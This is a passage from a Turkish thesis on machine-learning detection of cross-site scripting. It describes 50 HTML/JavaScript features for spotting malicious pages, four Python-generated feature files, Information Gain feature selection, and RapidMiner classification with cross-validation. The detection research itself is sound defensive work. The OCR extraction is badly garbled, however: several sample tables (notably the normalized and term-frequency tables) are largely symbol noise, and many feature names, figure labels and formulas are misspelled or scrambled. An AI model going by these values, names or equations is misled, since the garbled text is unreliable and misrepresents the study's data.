literatiirden derlenen ve gozden gecirilerek ilaveler yapilan 50 6zniteliktir (Krishnaveni ve
Sathiyakumari, 2013; Likarish, Jung ve. Jo, 2009; Nunan ve dig., 2012). Bu ozellikler,
yalnizca web sayfasi belge icerigine (HTML / JavaScript etiketleri) ve bazi anahtar
sozciiklere dayanmaktadir. Tim ¢ikti dosyalarinda, 6zellik siitunlar1 orijinal etiketleri yerine
FO ila F49 ile gosterilir (6rn.; cikti CSV dosyasinda, ornek sayfa kodundaki <A> etiket sayist

Ozniteligi FO olur).

Ozellik ¢ikarma siireci; features.txt (6zellikler listesi dosyasi) ve veri kitaphg (iki smnifin
rastgele verileri) seklinde iki girdi alan ve ¢ikt1 veri seti olarak dort CSV dosyast iireten

Python betikleri araciligiyla yapilir. Cikt1 veri setleri asagida aciklanmustir:

1. binary.csv: bu dosya yalnizca 6zelligin HTML dosyasinda bulunup bulunmadigini

sOyler. Varsa “1”, yoksa “0” yazilir.
2. frequency.csv: bu dosya, HTML dosyasinda her 6zelligin kag¢ kez tekrarladigini icerir.

3. normalized_frequency.csv: bu dosya, frekans.csv dosyasindaki sonuclarin “0” ile “1”

arasinda normallestirilmis halidir.

4. term_frequency.csv: bu dosya, terim frekansinin (6zellik) HTML belgesindeki diger

terimlere oranini soyler.

3.2.5.1. Ikili Tabanh Ozellik Cikarma
Bu siirecte 1 veya 0 ile belirterek 6zniteliklerin var olup olmadigina gore 6zellik ¢ikarimi
yapilmustir. Veri seti dosyalari, 50 6zelligin tiimii i¢in tek tek kontrol edilerek, bir ozellik

ka¢ kez bulunduguna bakilmaksizin o 6zellik dosyada varsa “1” degeri, aksi takdirde “0”
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Tablo 3.2: XSS siniflandirma i¢in kullanilan 6zellikler

Gosterim  Ozellik (Oznitelik) Kaynak Veri Tiirii  Aciklama
FO number_of_A_tags HTML Kodu _integer Sayfa kodu igerisinde yer alan <A etiketlerinin sayisini gosterir.
F1 number_of_AJAX_keywords Script kodu _integer Sayfada “AJAX_Keywords.txt” dosyasindaki dizelerin toplam kag kez gegtigini gosterir.
F2  number_of_AUDIO_tags HTML kodu _integer Sayfa kodu igerisinde yer alan <AUDIO etiketlerinin sayisini gosterir.
F3 number_of_dangerous_HTML_methods HTML kodu integer Sayfada “Dangerous_HTML_Methods.txt” dosyasindaki dizelerinin toplam kag kez gectigini gosterir.
F4 number_of_DIV_tags HTML kodu integer Sayfa kodu icerisinde yer alan <DIV etiketlerinin sayisin1 gosterir.
F5 number_of_DOM-modification_keywords Script kodu _integer Sayfada “DOM_Modification_Keywords.txt” i dizelerin toplam kag kez gegtigini gosterir.

A double-quoted attribute value is one where the supplied value is surrounded by double quotation marks ().
This syntax may be used in both HTML and XHTML.

F6 number_of_double_quoted_attributes HTML kodu  integer N " sedt 1 Dot .
<img src="example.jpg" title="An example photograph">
<img src= "example.png">
7 number_of_EMBED_tags HTML kodu _integer Sayfadaki <EMBED etiketlerinin sayisini gosterir.
F8  number_of_cvenl_handlers HTML Kodu _integer Sayfadaki “Evenl_Handlers.IxU” dosyasinda yer alan anahtar kelime sayisini gosterir.
F9  number_of_cvil_characters_in_scripls Script kodu _ boolean _ Sayfadaki script kodundaki toplam {~}, {1, {\], {1 (%] sayisini gosterir.
<object data=http://www.othersite.com width="820" height="450">
F10 number_of_external_iframe_sources HTML kodu integer <embed src=http://www.othersite.com width="820" height="450">
gibi dig bir sayfanin iceriginin bahse konu sayfaya kag defa eklendigini gosterir.
. . Sayfadaki farkli dis script kaynak sayisim gosterir.
FI1 number_of_exiernal_script_sources HTML kodu integer <sz’ripl type= "lex!/javaspcripl)'l‘ sie= ‘?;nlp://gsmneurl.com/js/ﬁlename.js" ></seript>
F12  number_of_external_URLs_referenced_within_the_scripts_Script kodu _ integer Script kodunda gegen dis URL lerin sayisint gosterir.
FI3  number_of FRAME lags HTML kodu _integer Sayfadaki <FRAME ctiketlerinin sayisini gosterir.
F14 number_of_functions_calls_made_by_the_scripts Script kodu  integer Script kodunda ¢agrilan fonksiyon sayisini gosterir.
F15 number_of_GET _| HTML kodu integer Sayfadaki formlarda GET metodu i¢in kullanilan toplam p sayisini gosterir.
F16 __ number_of_harmful-sensitive_keywords HTML kodu _integer Sayfada script kodu iginde “Sensitive_Keywords.txt” dosyasindaki dizelerin toplam Kag kez gegtigini gosterir.
F17 _ number_of_hidden_inputs HTML kodu _integer Sayfadaki formlarda bulunan input elamanlarindan <input type="hidden" olanlarin sayIsini gosterir.

FI8__ number_ol_HTML_comments HTML kodu _integer ___ Sayfa koduna ilave edilmis yorum (<I— ... =) sayIsini gosterir. gosterir.

F19  number_ol_HTML_cntities HTML kodu _integer ___ Sayfada “Duzenli ifadeler (Regular Expressions)” yardimiyla dosyada HTML varliklarmin toplam Kag kez gegUigini gosterir.
F20 number_of_IFRAME_tags HTML kodu integer Sayfadaki <TFRAME etiketlerinin sayisin1 gosterir.

F21__ number_of_IMG_tags HTML kodu _integer ___ Sayfadaki <IMG cliketlerinin sayisini gosterir.

Sayfadaki toplam <input type="button">, <input type="checkbox">, <input type="color">, <input type="date">,
<input type="datetime-local">, <input type="email">, <input type="file">, <input type="hidden">, <input type="image">,

F22  number_of_inputs HTML kodu  integer “"number">, <input type="password">, <input type="radio">, <input type="range">,
arch">, <input type="submit">, <input type="tel">, <input type="text">,
<input type="time">, <input type="url">, <input type="week"> n1n sayisini gosterir.
F23  number_of_malfon isplaced_tags HTML kodu _integer i HTML diizenine uymayan etiket sayist
F24 number_of META_tags HTML kodu integer Sayfa kodu icerisinde yer alan META etiketlerinin sayisim gosterir.
F25  number_of OBIECT. tags HTML kodu _integer Sayfa kodu igerisinde yer alan <OBJECT eliketlerinin sayisini gosterir.
F26 number_of_POST_| HTML kodu integer Sayfadaki formlarda POST metodu kullanim sayisini gosterir.
F27  number_of_remote_CSSes HTML kodu _integer link <rel="stylesheet" href="https: ~waschools yles.css™>
F28  number_of_scripls TTML kodu _integer Sayfa igerisindeki scripl sayisini gosterir.
A single-quoted attribute value is one where the supplied value is surrounded by single quotation marks ().
F29  number_of_single_quoted_attributes arvle Winteger L i ey be used in bottRIRITFand XETINCH,
<img sre="example.jpg’ title="An example photograph’>
<img src="example.png’>
F30  number_of_SPAN lags HTML kodu _integer Sayfa kodu igerisinde yer alan <SPAN eliketlerinin say1sini gosterir.
F31 __ number_of SVG_tags HTML Kodu _integer Sayfa kodu icerisinde yer alan <SVG etiketlerinin sayisini gosterir.
F32  number_of_unicode_ _in_scripts Script kodu _integer Sayfa kodu igerisinde bulunan script kodlarindaki toplam unicode karakter sayisini gosterir.
‘An unquoted attribute value is one where the value is supplied, but is not surrounded by quotation marks.
F33 number of unquoted atiibutes HTML kodu intger 103 901X may be usd in the FITML sy, but ot n the XHTML syt
<img src= image.png>
F34  number_of_vulnerable_DOM_objects HTML kodu integer __ Sayfada “DOM_Objects.Ixt” dosyasindaki dizelerin toplam kag kez gegligini gosterir.
F35  average_ASCII characters_in_external_domain_strings __ Diger float Sayfa kodu igerisinde yer alan dis alan adlari (domain) dizelerindeki ortalama Karakler sayIsin gosterir.
F36 duplicated_special_characters Scriptkodu  boolcan :Sa.yfa kodu igersinde bulunan script koiilaania bjazl ozel karakterlerin
iki kez art arda kullanilip gosterir. («,»,...)
F37 encoding_in_scripts Scriptkodu  boolean Sayfa kodu igersinde bulunan script kodlarinda Hexadecimal, Decimal, Octal,

Unicode, Base64 encoding yapilip yapilmadigim gosterir.
F38 existence_of_HEX_value_in_"img"_tags HTML kodu boolean Sayfa kodu igerisinde <IMG etiket g HEX ifade kullanilip gim gosterir.
Sayfadaki formun post-get edildigi hedef sunucunun alan adi bilgileri tutarl m1?
(Whether URL has DNS record,
Domain age in WHOIS record > x,
TTL value of domain >y,
F39 form_get-post_destination_domain_consistency HTML kodu  boolean IP is used as a domain?,
Number of dots in domain,
‘Whether Well-known port numbers for HTTP or HTTPs,
‘Whether URL has “@, “/[”, =27, #=7, ©.7 <
Kriterlerden >%50'si olumsuz ise 0 degilse 1 degerini alir.

F40 hash_usage_in_"img"_tag HTML kodu boolean Sayfa kodu icerisinde <IMG etiket kaynaginda # karakteri kullamlip g1 gosterir.

F41___ hip-equiv_attribute_usage HTML kodu_boolean __ Sayfa kodu igerisinde yer alan <META etiketi icerisinde http-equiv kullanilip Fimi gosterir.

F42  img_src_composed_of_"x:x" HTML kodu boolean  Sayfa kodu igerisinde <IMG etiket kaynaginda x:x yapisinin Kullanilip i1 gosterir.

F43  img_sric_contains_hitp_string HTML kodu boolean _ Sayla kodu icerisinde <IMG ctiket kaynaginda HTTP kullanilip Zin1 gosterir.

F44 img_src_contains_https_string HTML kodu boolean Sayfa kodu icerisinde <IMG etiket kaynaginda HTTPS kullanilip gin1 gosterir.

F45 img_src_contains_www_string HTML kodu boolean Sayfa kodu icerisinde <IMG etiket kaynaginda www kullanilip gimi gosterir.

F46 is_the_script_readable Script kodu  boolean Sayfa kodundaki scriptlerde yer alan alfabetik karakterlerin yiizdesine gore karar verilir.

F47  length_of_input_strings_is_limited HTML kodu boolean _ Sayfadaki formlarda <input elamanlarinda “max” veya “m " zelliKlerinin durumunu gosterir.
F48 maximum_occurrence_of_domains_found_in_URLs HTML kodu integer Sayfadaki A etiketlerindeki URL'lerde yer alan domainlerden en fazla tekrar etme sayisini gosterir.

F49 the_code_contains_equalto_after_slash_character HTML kodu boolean Sayfa kodu igerisinde "/" karakterinden sonra "="karakterinin kullanilip gini gosterir.

degeri atanmig ve diger bir 6zellikle ayn1 sekilde devam edilmistir. Tiim 6zellikler i¢in 2620
dosyanin tamami anlatilan sekilde islendikten sonra, 2620 dosyadan ¢ikarilan tiim 6zellikleri
ve bunlarin degerlerini (“1” veya “0”) iceren bir CSV dosyasi olusturulur. Sekil 3.8, siireci
basit bir akis semasinda gostermektedir ve Tablo 3.3, cikarilan 6zelliklerin bir 6rnegini

sunmaktadir.
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Girdiler islemler Ciktilar

Ozellik listesi
(feature.txt)

frequency.csv

Ozellik gikarma
(Python betigi)

e M
-

nomalized frequency.csv

Veri seti

\-x__‘___________,_.,-’
(HTML dosyalan) E

term_frequency.csv

~

Sekil 3.7: Ozellik Cikarma Siireci Blok Semasi

Tablo 3.3: Var olup olmadigina bagh olarak ¢ikarilan 6zellik 6rnegi (Ikili)

"‘3
= =
el 2
) o
£ S = N & T NN O NSNS =N =
S = AN N T N O I~ 0 D v e e e e e e e e e NN N NN =
{@) I T T - T = < T < < O = T~ < < T I < < R n
Mihtml 1 O O 0 0 0 0 O O O OO O O O O O O O O OO TO0OT1TO0 XSS
M2html 1 O 1 1 1 1 1 O O O O O O O 1 1 O O 1 O O O 1 1 1 XSS
M3html 1 1 1 1 1 1 1 O O 1 O O O O O O O O 1 O 1 O O 1 1 XSS
M4html 1 0 1 1 1 1 1 0 O 1 O O O O O O O O O 1 O 1 1 1 O XSS
Mshtml 1 1 1 1 1 1 1 0 O O O O O O O O O o 1 1 1 1 O 1 O XSS
M6html 1 0 1 1 1 1 1 0 1 O O O O O O O O O O O O O O 1 O XSS
M7html 1 O 1 1 1 1 1 0 O 1 1 O O O 1 1 O O 1 O O O 1 1 1 XSS
Bilhtml 1 0 1 1 1 1 1 0 1 1 O O O O O O O O 1 O I O O 1 1 non-XSS
B2html 1 1 1 1 1 1 1 O 1 1 O O O O O O O O O 1 O 1 1 1 O non-XSS
B3html 1 O 1 1 1 1 0 O 1 1 O O O O O O O O I 1 1 1 O 1 O non-XSS
B4html 1 1 1 1 1 1 1 O O O O O O O O O O O O O O O O 1 O non-XSS
B5html 1 1 1 1 1 1 0 O 1 O O 1 O O 1 1 O O 1 O O O I 1 1 non-XSS

3.2.5.2. Frekans Tabanh Ozellik Ctkarma
Bu siirecte, HTML dosyasinda bir 6zelligin ka¢ kez bulunduguna (tekrar sayisi) gore
ozellikler cikarilmistir. Sekil 3.9, siireci basit bir akig semasinda gostermektedir ve

Tablo 3.4, cikarilan 6zelliklerin bir 6rnegini sunmaktadir.
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BASLA

Ozellikler ve Veri seti

Ozelligin HTML dosyasinda

olup olmadigini kontrol et

[ . - Ozellik HTML . . .
Diziye 0 6gesini Diziye 1 6gesini
< dosyasinda
ekle ekle
var mi?
Baska ozellik
var mi? Evet

Dizideki degerlerden
binary.csv
dosyasini olustur.

BITiS

Sekil 3.8: Var veya yok oluslarina gore 6zellikleri ¢ikarma (1 veya 0)




166

BASLA

Ozellikler ve Veri seti

HTML dosyasinda bir 6zelligin
kag kez tekrar ettigini kontrol et.

Diziyi 6zelligin frekans
degeriyle giincelle

Baska ozellik

var mi? Evet

Dizideki degerlerden
frequency.csv
dosyasini olustur.

BITiS

Sekil 3.9: Frekanslarina gore 6zellikleri ¢ikarma
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Tablo 3.4: Tekrar sayisina gore ¢ikarilan 6zellik 6rnegi (Siklik)

7
= =
2 kot
[ St
© R R R R R R R R R R R R R R R R R R R R R R R 7
Ml.html 3 0 0 0 0 o o0 o0 o0 o0 o 0O O0OO0O O O O o0 o0 o0 o0 o0 o00O0 1 XSS
M2html 4 0 3 5 6 5 6 0 0 0 OO O O O OOOO T O0O0T1T 2 1 XSS
M3html 105 34 64 4 8 132 4 0 0 2 0 O O O O O O O O O O O O 0 102 XSS
M4html 15 0 21 o 1 28 1 0 0 2 O O O O O O OO 2 2 0 0 0 0 10 XSS
MS5html 5 4 23 5 2 3 1 0 0 0 0 0 0 0 0 0 O O 1 0 0 0 O0 1 0 XSS
M6.html 5 0 14 3 3 34 1 0 1 o 0 0 0 0 0o 0 0 0O O 0 0 o0 1 1 1 XSS
M7.html 7 0o 22 3 4 20 1.0 0 1IO1 0 0 O O OOO 2 0 2 000 1 XSS
Bl.html 76 O 410 48 26 390 2 0 18 28 0 0 0 0 O O O O O O O O O 3 O non-XSS
B2html 73 2 598 191 17 949 3 O 1 43 0 0O O O 34 1 0 0O 6 O O O 7 6 7 non-XSS
B3.html 67 O 204 65 10 367 0 O 5 13 0 0 0O O O OO O 4 O 5 O O 4 3 non-XSS
B4html 30 2 217 13 47 302 1. 0 0 O O O O O O O O O O 1 O 8 1 7 O non-XSS
B5html 77 1 110 33 56 328 0 0O 14 0 0 2 0 O O O O O 16 3 2 6 0O 8 0 non-XSS

3.2.5.3. Frekans Tabanh Ozellik Ctkarma (Normalize edilmis)

Bu siirecte bir 6nceki boliimde elde edilen sonuglar (6zelliklerin siklig1) normallestirilmis
sonuclara (“0” ile “1” arasindaki degerlere) doniistiiriilmiistiir. Normallestirmeye ihtiyag
duyulmasinin nedeni, baz1 6zelliklerin iki HTML dosyasinda ayni frekansa sahip olmasi
(normalden fazla) olmas1 ve bu 6zellik se¢imi yaparken veri tutarsizligina ve hatali sonuglara
yol acmasidir (Al Shalabi ve Shaaban, 2006). Veri setindeki ozelliklerin ¢ogu “0” ve “1”
frekansa sahipken, diger 6zellikler O ila 1000+ frekans araligina sahiptir, veri kiimesindeki
tim ozellikler “0,0” ila “1,0” gibi kiiciik bir araliga dlceklendirilmelidir. Normallestirme,
min-max normalizasyonu, z-skoru ve ondalik ol¢ekleme ile normallestirme gibi farkli
tekniklere sahiptir (Han, Pei ve Kamber, 2011). Min-max normallestirme, orijinal veriler
tizerinde dogrusal bir doniistim gerceklestirir. min, ve max,’ nin A 6zelligi icin minimum ve
maksimum degerler oldugunu varsayalim. Min-max normallestirme, gerekli hesaplamalari

yaparak, [minzeni, maxff"i] araliginda bir v degerini A’dan v degerine esler:

y oo mmine)
(max, — ming)

eni _ minﬁf"i) + minze”i (3.2)

frequency.csv dosyasindaki degerleri normallestirmek icin RapidMiner yazilimi ve
method parametresi “range transformation” secilerek Normalize operatorii kullanilabilir.
RapidMiner, veri madenciligi i¢in agik kaynakli bir aractir. Bunun ig¢in ilgili dosya
isleme aktarilir ve normallestirme operatorii, secenek aralii doniisimii “0,0” ila

“1,0” olarak ayarlanmig bir min-max normallestirme uygulamak i¢in kullanilir. Bu
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calisma kapsaminda, normalizasyon islemi GenerateCSVFiles.py Python betigi icerisinde

yapilmigtir. Normallestirilmis 6rnek bir veri, Tablo 3.5’te gosterilmistir.

Process Parameters

Process JoRye) s B i @ E [77] Normalize
create view i
attribute filter type all v |@

inp res
Retrieve Write CSV invert selection i
f’ out [ e N eal) inp thr [y
sae ai [y @ include special attributes i
e ) L

"; method range transformation v |
min 0.0 i
max 1.0 i

Sekil 3.10: RapidMiner ile veri normalizasyonu

Tablo 3.5: Tekrar sayisina gore cikarilan 6zellik 6rnegi (Normallestirilmis)

|
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& S S & 9 e
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© & © 9O O s © Ry o s
\ N N N N N\ N

winm & 0 & F F oo N 000 0 0 1 o & 5 oy o & XSS
< F o & P & & P g

Blhml & 0 & & & & & | & & 9 900 0 0 0 1 0o 0o 0 0 0 = 0 nonXsS
NN AN NS 5 © > S
Q Q Q N N S N Q7 X7 Q Q7 N7 Q

B2hml & & & & & & & R 0000 & o 1 & 0 0 0 © & &  jonxss
Py A & o X 9 o A N\ A
& 3 > 5 N N X 5 D N

Bihml © 0 o & & & RN N 0 000 0 o0 0 1 & o & o o & & onxss
) 5 ) o N > ) 9 Q) %)
% O V2 Y N N N $

gt & & &S T IFT S 5 0 0 0000 00 1 0 & o && T 5 axss
SR S S R S & Vi ¢ @ O o &
Q Q Q Q Q Q7 Q N Q7 Q Q Q

Bshml & & & & & & 0 & o0 0o & 000 0 0o 1 & & & 1 9 & 0 nonXSS

3.2.5.4. Terim Frekans: (TF) Tabanh Ozellik Cikarma

Bu siirecte, frekans tabanl 6zellik ¢ikarmaya benzer bir iglem yapilir ancak terimin (6zellik)
frekansinin HTML dosyasindaki toplam terimlere orani hesaplanir. Terim Frekansi (TF), bir
belirtecin veya bir kelimenin bir belgede ka¢ kez goriildiigiinii, eger o kelime belgede bircok
kez geciyorsa belge anlami i¢in daha 6nemli oldugunu aciklar (Gerardnico, 2019). Asagidaki
formiil TF’yi bulmak i¢in kullanilir:

TF — Terimin HTML belgesinde kag kez goriildiigii

33
HTML belgesindeki toplam terim sayist 3-3)
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Ornegin, 3 kez goriinen “iiniversite” kelimesini igeren bir belge olsun. Bu belgedeki toplam

kelime sayis1 100 ise “iliniversite” i¢in, terim frekansi (TF)= 3/100= 0,03 tiir.

Sekil 3.11, TF’ye dayali 6znitelik ¢ikarma siirecini gostermekte, Tablo 3.6 ise sonuclarin bir

ornegini sunmaktadir.

Tablo 3.6: Terim frekansina (siklifina) gore ¢ikarilan 6zellik 6rnegi

%

<
@é& S = QO ¢Mm T e~ ® N = - N o - &Q:&.
o° 2 = & 2 Z 4 £ E E 2 E REEER B RERE & = & & & & a2
Mhm | ©0 0 0 0 O ©0 0 O 0 0 000 O 000 0O O ©0O ©0 0 0 & XSS
M2.html w@% 0 @& 0@6 n@« e@b §§ 0 0 0 0 000 0O 000 0 w\ 0 o0 w\ @& QQQ\ XSS
M3.html F&eEFEE 0 o & 0O 000 0 000 0O 0 0 0 0 0 & Xss
M html c@b 0 & 09\« & & & 0 0 & 0 000 0 000 & & o 0 o o & xss
MS.himl S & FE &S 0 0 0 0 000 0 000 & 0 0 0o 0 & 0 Xss
M6.html & 0 &S 0 & o 0 000 0O 000 0O O 0 0 S & & XSS
Wihm S o o ¥ 0 o g & 000 0 00 O & 0 o ? 0o 0 o0 & XSS
BLhtml & 0 F&F&SE 0 o & & ©O 000 0 000 0O 0 O ©0O O 0 0 nonXSS
B2.hml & 0 & & & 0 0 o0 & 0 00 0 & 000 0 0 0 0 ©0 0 0 nonXSS
pinm S o S & 0 o0 & & 0 000 0O 00 O & 0 & 0 0 & 0 non-XSS
B4 html 0906 0 § & Qé\ & 0 0 0 0 0 000 O 000 O 0 O & 0 & 0 non-XSS
BS.html & 0 S & & 0 o & 0O 0 000 0 000 & 0o o0 & 0 & 0 nonXSS

Yukarida iki temel gorev aciklanmistir; XSS zafiyeti barindiran kotiiciil ve zararsiz web
sayfalarinin toplanarak bu sayfalari iceren veri kiimesinin olusturulmasi ile o6zelliklerin
¢ikarilmasi. Oznitelik ¢ikarmada, literatiir taramasinda kullanilan tiim 6zellikler, bir sonraki
asamada ozellik secimi ve siniflandirmada kullanilacak olan ikili, frekans, normallestirilmis
frekans ve terim frekans Oznitelikleri CSV dosyalarint olusturmak icin dort siirecte

kullanilmigtir. Asagida bu siire¢c daha ayrintili olarak agiklanmustir.
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BASLA

HTML dosyasindaki bir 6zellik
icin TF'yi kontrol et ve hesapla.

TF degerini diziye aktar
ve sakla

Bagka ozellik

var mi? Evet

Dizideki degerlerden
term_frequency.csv
dosyasini olustur.

BITIS

Sekil 3.11: Terim frekanslarina gore 6zelliklerin ¢ikarilmasi
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4. BULGULAR

Bu béliimde, Ozellik Secimi ve Smiflandirma siireci ile elde edilen bulgular ele alinmustir.
Ozellik seciminde, sonuglari karsilastirmak ve en iyi performansi veren en onemli
Oznitelikleri se¢mek i¢in Bilgi Kazanimi (IG: Information Gain) adli 6znitelik se¢me
teknigini kullanarak farkli deneyler yapilmistir. Bu 6znitelik se¢me tekniklerini test etmek
icin, smiflandirma algoritmasinin her birini kullanirken nasil performans gosterdigini
gormek i¢in bunlar siniflandirma ile birlikte uygulanir. Bu ¢alismada kullanilan siniflandirma
algoritmalart NB, DVM ve GDM'dir. Bu ¢alismanin ¢iktisi, siniflandiricinin performansini,

farkli performans Ol¢iim kriterleri ile degerlendiren siniflandirma sonuglaridir.

4.1. BILGI KAZANIMINA GORE OZELLIK SECIMI SURECI

Bilgi Kazanim1 (IG), makine 68renmesinde terimin siniflandirma modeli icin ne kadar
iyl oldugunu sdyleyen bir terim-iyilik metrigi olarak bilinir. Bir belgede varligini veya
yoklugunu belirleyerek sinif tahmini i¢in elde edilen bilgi bitlerinin sayisim1 hesaplar. 1G,

en basit ve en hizli tekniklerden biri olarak kabul edilmistir (Hall ve Holmes, 2003).

4.1.1. Deney Kurulumu

Ozellik secimi deneylerinde siirecte kullanilacak 3 gereklilik vardir:

i. Veri seti
ii. Ozellik agirhiklandirma teknigi
1. Agirlik se¢im teknigi
Deneylerde kullanilan veri seti, kotiiciil (XSS) ve zararsiz (non-XSS) olmak iizere iki

kategori altinda toplam 2.620 kayit iceren bir CSV dosyasidir. Veri setinde, kayitlarin %49’u

kotiiciil veriler icerirken geri kalan %51°1 zararsizdir.

Kullanilan o6zellik agirliklandirma tekni8i, Bilgi Kazanimidir. Tablo 4.1, deneylerde
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kullanilan IG parametrelerini gostermektedir.

Tablo 4.1: Bilgi Kazanimi (IG) parametreleri

Parametre Arallk  Deger
Agirliklar normalize et Boolean  Yanlig
Agirliklar sirala Boolean Dogru
Siralama yonii Siralama  Artan
Parameters

1= weignt by Information Gain

normalize weights i
/' sortweights i

S0iT direction ascending ¥ |l

Sekil 4.1: RapidMiner’da Bilgi Kazanimi (IG) parametreleri

Agirlik se¢me teknifine “Agirliga Gore Secim (Select by Weight)” denir ve kullanilan

parametreler Tablo 4.2°de gosterilmigtir.

Tablo 4.2: Agirliga Gore Se¢im parametreleri

Parametre Arallk  Deger
Agirlik iligkisi Miski top k

k Tam say1 14
Bilinmeyeni se¢cme Boolean Dogru

Mutlak degerleri kullan Boolean Dogru

Parameters

[I7] select by Weights

weight relation top k ¥ | (]
k 14 i
| deselect unknown i

| use absolute weights i

Sekil 4.2: RapidMiner’da Agirliga Gore Se¢im parametreleri
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4.1.2. Ozellik Secimi Deneyi Siireci

RapidMiner’da, ozelliklerin agirligini (IG) kullanarak hesaplamak icin operatorler
boliimiinden Bilgi Kazanimina Gore Operator Agirhigi se¢ilmelidir. Sekil 4.3, IG kullanarak

ozellik secim siirecini gostermektedir.

T p Geri alma (Retrieve) Siirece "Bilgi kazanimina gére agirliklandir -
BASLA | RaplainsiceiBil operatriini (Weight by Information Gain)" — 1G oS
siire¢ olugtur. 1 oo g e veri setine bagla.

veri setini siirece aktar. operatériini ekle.

S En yiiksek agirhga sahip ilk 14'G Siirece "Agirliga Gére Secim
< Ss:r:zlcfllf‘:e‘lm secmek i¢in "Agirhga Gére Segim (Select by Weight)" operatériinii
Ll (Select by Weight)" 6gesini degistir. ekle ve |G operatdriine baglanti ver.

Sekil 4.3: Ozellik Secimi Siireg Akigt

RapidMiner’da 6zellik secimi i¢in adimlar agagida verilmistir:
1. Cikarilan 6zelliklerin dosyasini (0rn.; term_frequency.csv), “Retrieve” operatorii ile
isleme (process) aktarin.

2. Ogzellik se¢imi i¢in yontemi (operatorii) secin: Ozelliklerin agirliklarini iiretecek olan

Bilgi Kazanimina Gore Agirliklar

3. Top k (6rn.; agirliklarina gore ilk 10 6zellik) gibi farkli parametre seceneklerine dayali

ozellikleri secmek i¢cin Agirliga Gore Sec operatoriinii segin.
4. Islemi calistirin.
Tablo 4.4, veri seti terim frekansinda IG kullanilarak segilen ilk 14 6zelligin sonuglarini
gostermektedir. Tablo, toplam 2.620 dosyadan her sinifin (XSS ve non-XSS) ilk 6 dosyasinin

bir drnegini ve bu Ornek sonuglari icin IG tarafindan agirhiklandirlan ilk 14 6zelligi

gostermektedir.

4.2. SINIFLANDIRMA SURECI

Bu boliimde, siniflandirma deneylerinin nasil yapildigini ve RapidMiner’da hangi tekniklerin

kullanildig1 aciklanmagtr.
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Process
PP 2R HadH

G Process b

res

res

Retrieve Set Role
c out exa j E::
1 Performance
gy e
Apply Model (432 =
mod lab
Split Data wo % e
Sekil 4.4: RapidMiner ile temel siniflandirma siireci
Process
@ Process » PO S, : B 4 @ @ B
inp res
Cross Validation =
‘Weight by Informati...
Retrieve ' o
C out
Set Role Select by Weights
exa '_" exa
Hest -

Sekil 4.5: Bilgi Kazancina gore agirlik kullanarak 6zellikleri secme 6rnegi

Process
@ Process » Cross Validation » L L S -
Apply Model Performance
tra mod g g mod @ oy Iab Iab % per tes
trgptes gu  ® med per exa Ber,
thr thr per

Sekil 4.6: RapidMiner’da Cross Validation operatoriiniin detay1

4.2.1. Deney Kurulumu

Siniflandirma deneyinde, asagida listelenen 6 gereksinim mevcuttur. Ilk ii¢ girdi zaten 6nceki

boliimlerde agiklanmugtir:
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1. Veri seti
ii. Ozellik agirliklandirma teknigi
. Agirlik secim teknigi
iv. Dogrulama yontemi
v. Smiflandirma algoritmasi
vi. Performans 6l¢iim metrikleri

Bu calismada dogrulama yontemi icin Capraz Dogrulama kullanilmistir. Tablo 4.3,

yiiriitiilen deneylerde kullanilan Capraz Dogrulama parametrelerini gostermektedir.

Tablo 4.3: Capraz Dogrulama parametreleri

Parametre Arahk Deger Aciklama
Yaygin uygulama, iyi bir performans saglamak igin
yeterli bir boliimleme olarak 10 kat segmektir.
Alt kiime veri setlerini (katlar) olustururken
ornekleri rastgele segmek i¢in

Islemi ayn1 anda 10 kez ¢alistirmak i¢in kullanilir, yalmzca

Paralel yiiriitmeyi etkinlestir ~ Boolean Dogru calisma yapilan makinenin yeterli RAM bellegi varsa
oOnerilir, aksi takdirde bu ayarlar yanlis olarak set edilmelidir.

Kat sayis1 Tam say1 10

Ornekleme tiirii Kategorik  Karigtirtlmig 6rnekleme

Parameters

% Cross Validation

split on batch attribute i
leave one out i
number of folds 10 i
sampling type shuffled sampling *
use local random seed i

| enable parallel execution i

Sekil 4.7: RapidMiner Capraz Dogrulama parametreleri

Smiflandirma algoritmalari icin daha dnce aciklandig1 gibi NB, DVM ve GDM kullanilmigtir
ciinkii hepsi ikili stniflandirma i¢in kullanilabilir ve ¢iktilara gore hangi algoritmanin daha iyi
performans verdigine karar verilebilir. Performans dl¢timleri i¢in Dogruluk ve Geri Cagirma

gibi metrikler kullanilmigtir.
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4.2.2. Smiflandirma Deneyi Siireci

Bu siirecte girdi  olarak  veri dosyalarn  (6rn.;  binary.csv, frequency.csv,
normalized_frequency.csv, term_frequency.csv), c¢ikti olarak smiflandirma sonuglar

s6z konusudur. Islem adimlar1 su sekilde agiklanmustir:
1. Ozellik secimi, siiflandirmadan 6nceki bir on-iglemdir (“Smmiflandirma Siireci”
boliimiine bakiniz).

2. On-isleme yapildiktan sonra, secilen dzellikler ve veri seti, stniflandirma amaciyla 10

kath ¢apraz dogrulama yontemine girdi olarak verilir.
3. Dogrulama yontemi, e8itim ve test siirecleri olmak iizere iki siirece ayrilir.

4. Egitim sirasinda veri setinin 9 kati iizerine, modeli 6grenmek ve egitmek igin

siniflandirma algoritmasi uygulanir.
5. Model, 6grenmesini ve performansini test etmek i¢in 10. kata uygulanir.

6. Dogruluk oran1 ve geri cagirma gibi performans Ol¢iim metrikleri ile ilgili

siniflandirma sonuglart olusturulur.

RapidMiner'da yeni Gorl 2.’.'"33 _(l?el:ueve) . Ozellik segimi uygula Capraz dogrulama (CV-
BASLA > o operatorini h 2 Tt i
stire¢ olustur. 1 oL (Sekil 3.5'e bakiniz). Cross Validation) operatéri ekle.
veri setini siirece aktar.

CV siireci
1. CV siirecine girin.
2. CV'nin egitim ve test olmak lizere
iki bllimii vardir. Egitimde, 9 kat

{izerinde egitmek ve egitilmis bir

model olusturmak igin DVM gibi bir
y Siireci galistir ve flandirma algoritmasi ekleyin. CV operatorii egitim ve test
sonucu kaydet. 3. Test tarfina, son 2 kattaki egitilen katlarin degistirin (9'a 1)
modeli test edecek olan "Modele

Uygula (Apply Model)" kismini ekleyin.
4. "Siniflandirma Performansi
(Classification Performance)"
operatdriinii girin ve dogruluk orani
gibi performans Glgtitlerini segin.

Sekil 4.8: Siniflandirma Siire¢ Akisi

4.3. DENEYSEL SONUCLAR

Sonugclar, veri seti dosyalar iizerinde yapilan tiim siniflandirma islemleri i¢in literatiirdeki

dogruluk orami gibi metrikler {izerinden sunulmaktadir. Sonuglar, kullanilan her
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siniflandiricinin (NB, DVM ve GDM) performansini karsilastirmanin kolay olabilmesi i¢in
bir tablo bi¢iminde gosterilmistir. Tiim algoritmalar ikili ve ¢ok simifli simiflandirmayi
